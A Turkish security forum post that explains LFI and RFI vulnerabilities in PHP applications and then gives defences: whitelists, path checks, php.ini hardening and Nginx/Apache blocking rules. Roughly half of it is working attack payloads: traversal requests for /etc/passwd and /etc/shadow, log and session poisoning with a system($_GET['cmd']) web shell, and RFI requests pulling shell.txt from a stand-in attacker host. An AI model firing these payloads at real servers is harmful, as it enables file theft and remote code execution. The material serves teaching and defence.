LFI ve RFI Farkı (Detaylı Anlatım ve Güvenli Uygulama Teknikleri)

LFI (Local File Inclusion) ve RFI (Remote File Inclusion) , bir web uygulamasının dinamik olarak dosya ekleme (include) işlemlerini güvensiz bir şekilde gerçekleştirmesi sonucu oluşan güvenlik zafiyetleridir. Her ikisi de kullanıcı girdisinin doğrudan dosya yolu olarak kullanılmasından kaynaklanır, ancak etkileri ve saldırı vektörleri farklıdır.

LFI (Local File Inclusion)
Tanım: Saldırganın, uygulama sunucusunda bulunan yerel dosyaları okumasına veya çalıştırmasına olanak tanıyan zafiyettir.

Nasıl Çalışır?
Uygulama, kullanıcıdan aldığı parametreyi doğrudan dosya include işleminde kullanır.

Örnek Senaryo:

php
// index.php?page=home
<?php
$page = $_GET['page'];
include($page . '.php');
?>
Saldırgan URL'yi şu şekilde değiştirir:

text
index.php?page=../../../../etc/passwd
Sunucu, /etc/passwd dosyasını okur ve içeriğini döndürür.

LFI ile Yapılabilecekler:

Hassas dosyaları okuma (/etc/passwd, /etc/shadow, config.php)

Kaynak kodları görüntüleme

Log poisoning ile RCE (Remote Code Execution)

Session dosyalarını okuyarak session hijacking

PHP filter ile base64 encode edilmiş dosyaları okuma

RFI (Remote File Inclusion)
Tanım: Saldırganın, uzak bir sunucudan (remote) dosya eklemesine ve çalıştırmasına olanak tanıyan zafiyettir.

Nasıl Çalışır?
Uygulama, kullanıcıdan aldığı URL'yi doğrudan dosya include işleminde kullanır.

Örnek Senaryo:

php
// index.php?page=home
<?php
$page = $_GET['page'];
include($page);
?>
Saldırgan URL'yi şu şekilde değiştirir:

text
index.php?page=http://saldirgan.com/shell.txt
Sunucu, saldırganın sitesindeki shell.txt dosyasını indirir ve PHP olarak çalıştırır.

RFI ile Yapılabilecekler:

Uzaktan kod çalıştırma (RCE)

Web shell yerleştirme

Sunucuyu tamamen ele geçirme

Veritabanı erişimi

Sistem komutları çalıştırma

LFI ve RFI Karşılaştırması:
Özellik LFI RFI
Kaynak Yerel dosyalar Uzak dosyalar
Risk Seviyesi Orta - Yüksek Kritik
RCE İmkanı Dolaylı (log poisoning) Doğrudan
Allow_url_include Gerekmez Gerekir (PHP)
DoS Etkisi Orta Yüksek
Tespit Zorluğu Orta Düşük
Patlama Etkisi Veri sızıntısı Tam sistem kontrolü
LFI / RFI Saldırı Teknikleri:
1. LFI - Temel Dosya Okuma
http
GET /index.php?page=../../../../etc/passwd HTTP/1.1
GET /index.php?page=../../../etc/hosts HTTP/1.1
GET /index.php?page=../../../../proc/self/environ HTTP/1.1
2. LFI - PHP Filter ile Dosya Okuma
http
GET /index.php?page=php://filter/convert.base64-encode/resource=config.php HTTP/1.1
GET /index.php?page=php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1
Decode Örneği:

bash
echo "PD9waHAgY29uZmln..." | base64 -d
3. LFI - Log Poisoning (RCE)
Log dosyasını kirlet:

http
GET /index.php?page=<?php system($_GET['cmd']); ?> HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
Log dosyasını include et:

http
GET /index.php?page=../../../../var/log/apache2/access.log&cmd=id HTTP/1.1
4. LFI - Session Poisoning
Session dosyasına kod enjekte et:

http
GET /index.php?page=<?php system($_GET['cmd']); ?> HTTP/1.1
Cookie: PHPSESSID=attacker_session
Session dosyasını include et:

http
GET /index.php?page=../../../../var/lib/php/sessions/sess_attacker_session&cmd=id HTTP/1.1
5. LFI - /proc/self/environ Kullanımı
http
GET /index.php?page=../../../../proc/self/environ HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>
6. LFI - Upload ile RCE
Zararlı dosya yükle:

Resim yükleme

Avatar yükleme

Dosya yükleme

Yüklenen dosyayı include et:

http
GET /index.php?page=../../../../uploads/shell.jpg&cmd=id HTTP/1.1
7. RFI - Uzaktan Shell Ekleme
http
GET /index.php?page=http://saldirgan.com/shell.txt HTTP/1.1
GET /index.php?page=https://pastebin.com/raw/shell_code HTTP/1.1
GET /index.php?page=ftp://saldirgan.com/shell.txt HTTP/1.1
Shell.txt İçeriği:

php
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
8. RFI - Data URI ile RCE
http
GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ HTTP/1.1
9. RFI - Null Byte Bypass (Eski)
http
GET /index.php?page=http://saldirgan.com/shell.txt.jpg HTTP/1.1
10. RFI - Wrapper Bypass
http
GET /index.php?page=http://saldirgan.com/shell.txt? HTTP/1.1
GET /index.php?page=http://saldirgan.com/shell.txt# HTTP/1.1
LFI / RFI Koruma Teknikleri:
1. Beyaz Liste Kullanımı (En Etkili)
php
<?php
$allowed_pages = ['home', 'about', 'contact', 'products'];

if (isset($_GET['page'])) {
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
include($page . '.php');
} else {
include('404.php');
}
} else {
include('home.php');
}
?>
2. Path Normalizasyonu
php
<?php
function safe_include($file, $base_dir) {
// 1. Path traversal temizle
$file = str_replace(['../', '..\\'], '', $file);

// 2. Sadece alfanumerik ve çizgi karakterler
if (!preg_match('/^[a-zA-Z0-9_\-]+$/', $file)) {
die('Geçersiz dosya adı');
}

// 3. Tam yolu oluştur ve normalize et
$full_path = realpath($base_dir . '/' . $file . '.php');
$base_real = realpath($base_dir);

// 4. Base directory içinde mi kontrol et
if ($full_path === false || strpos($full_path, $base_real) !== 0) {
die('Erişim engellendi');
}

include($full_path);
}
?>
3. PHP Yapılandırması (RFI Koruması)
ini
; php.ini
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
disable_functions = exec, shell_exec, system, passthru, popen
4. Python/Flask Güvenli Include
python
from flask import abort

def safe_include(page_name, base_dir):
ALLOWED_PAGES = ['home', 'about', 'contact']

# 1. Beyaz liste kontrolü
if page_name not in ALLOWED_PAGES:
abort(404)

# 2. Path traversal temizle
page_name = page_name.replace('../', '').replace('..\\', '')

# 3. Güvenli path oluştur
import os
safe_path = os.path.join(base_dir, f"{page_name}.html")

# 4. Base directory içinde mi kontrol et
real_path = os.path.realpath(safe_path)
base_real = os.path.realpath(base_dir)

if not real_path.startswith(base_real):
abort(403)

return render_template(safe_path)
5. Nginx Yapılandırması
nginx
location / {
# LFI/RFI koruması
if ($args ~* "(\.\./|\.\.\\)|(php://)|(data://)") {
return 403;
}

# Sadece belirli dosya uzantıları
if ($request_uri !~* "\.(html|php|jpg|png)$") {
return 403;
}
}
6. Apache Yapılandırması
apache
<Directory /var/www/html>
# LFI/RFI koruması
RewriteEngine On

# Path traversal engelle
RewriteCond %{QUERY_STRING} \.\./ [NC,OR]
RewriteCond %{QUERY_STRING} \.\.\\ [NC,OR]
RewriteCond %{QUERY_STRING} php:// [NC,OR]
RewriteCond %{QUERY_STRING} data:// [NC]
RewriteRule .* - [F,L]
</Directory>
LFI / RFI Kontrol Listesi:
A. Include Yönetimi:
Beyaz liste kullanılıyor mu?

Kullanıcı girdisi doğrudan include işleminde kullanılmıyor mu?

Path traversal pattern'leri engelleniyor mu?

Dosya uzantısı kontrolü var mı?

B. PHP Yapılandırması:
allow_url_include = Off mi?

allow_url_fopen = Off mi?

open_basedir doğru yapılandırılmış mı?

Zararlı fonksiyonlar devre dışı bırakılmış mı?

C. Sunucu Yapılandırması:
Nginx/Apache doğru yapılandırılmış mı?

URL'lerdeki zararlı pattern'ler engelleniyor mu?

WAF yapılandırması doğru mu?

D. İzleme:
LFI/RFI denemeleri loglanıyor mu?

Anormal include işlemleri izleniyor mu?

Alert mekanizması var mı?

LFI vs RFI Hızlı Teşhis:
Gösterge LFI RFI
Dosya çalışıyor Yerel dosya Uzak URL
http:// içeriyor Hayır Evet
allow_url_include Gerekmez Gerekir
RCE mümkün Log poisoning ile Doğrudan
Tespit Zor Kolay
Özel Senaryolar:
1. LFI via File Upload (Shell Upload)
http
1. Upload shell.jpg (PHP içeren)
2. GET /index.php?page=../../uploads/shell.jpg&cmd=id
2. LFI via Session Files
http
1. Session poisoning
2. GET /index.php?page=../../var/lib/php/sessions/sess_abc123&cmd=id
3. RFI via Data URI (PHP 5.2+)
http
GET /index.php?page=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnbWQnXSk7Pz4=
4. RFI via SMB (Windows)
http
GET /index.php?page=\\192.168.1.100\share\shell.txt

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
133,661Konular
3,288,229Mesajlar
324,331Kullanıcılar
Üst Alt